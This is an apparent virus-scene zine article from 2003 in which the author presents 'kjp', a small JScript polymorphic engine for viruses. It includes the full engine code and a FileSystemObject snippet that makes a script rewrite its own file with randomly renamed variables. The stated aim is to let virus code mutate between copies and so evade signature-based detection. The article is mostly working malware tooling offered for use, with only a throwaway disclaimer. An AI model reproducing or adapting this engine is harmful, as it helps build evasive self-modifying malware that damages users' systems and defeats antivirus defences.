Last article | Table of contents | Next article |
---|
kefi's jscript poly [kjp] by Kefi
April 17, 2003 .Hello, everybody! It's probably been a while since you've heard from me. If so, don't feel bad. I've been rather inactive in the scene lately as I've got a lot of personal problems to deal with... .Since chances are, you're a silly script-kitty (no offence), I need to include a disclaimer in here. If you're a stupid ass, and you spread a virus which uses my engine, I will hold no responsibility for it. Nor will you ever accomplish anything other than irritating me. In other words, "don't be a lame bastard." .Anyway, I'm glad you've decided to check out my new polymorphic engine! It's my favorite one so far. :] Basically a re-make of kvpe, my vbs poly, but it's for javascript instead. At the time of writing this, I had thought that it was the first of it's kind, however, later on Second Part To Hell (hello!) said that jackie had made one before me ... so, "good job, jackie! you beat me to it!" So, anyway, this thing's got to be the coolest js polymorphic engine, as it's small (7 lines), fast, and easy to understand (if you have some prior knowledge of javascript, of course). How it works is it loops through an array of variables, which you have in your script, then generates a new, randomly created variable. After it's got its new variable, it searches for it within your virus's code and replaces the original variable with the new one. To really understand it, I suggest you just play with it for a while, I'm sure you'll understand it. .Now, in order to use this poly, you'll need to gather all your code, and then make a call to the engine, then write the new stuff. Here's a really small, easy way to do this (uses the FileSystemObject ... ack): var objFso = new ActiveXObject("scripting.filesystemobject"); var theCode = kjp(objFso.opentextfile(WScript.scriptfullname, 1).readall()); objFso.opentextfile(WScript.scriptfullname, 2).write(theCode); ... You should understand that, if not, don't use my poly. :] .Well, that's all I've got to say about this thing, so once again, thank you for readin' about it, and if you've got any comments, questions, flames, or whatever contact me: http -- http://vx.netlux.org/~kefi/ .Credits go out to: jackie -- Making the first js-poly, good job, I guess! Second Part To Hell -- Thanks for all your javascirpt help and telling me about jackie's poly! (c) by Kefi, April 17, 2003 // vx.netlux.org/~kefi Note: minor formating and changes in the text occured on: October 3rd, 2003 .---------------------------------[jscript poly]----------------------------------. function kjp(a1){ a2 = new Array("kjp", "a1", "a2", "a3", "a4", "a5", "a6", "a7"); for(a3 in a2){ a4 = ""; for(a5 = 0; a5 <Math.round(Math.random() * 6) + 4; a5++) a4 += String.fromCharCode(Math.round(Math.random() * 22) + 97); for(var a6 = 0; a6 <a1.length; a6++) a1 = a1.replace(a2[a3], a4); } return(a1); }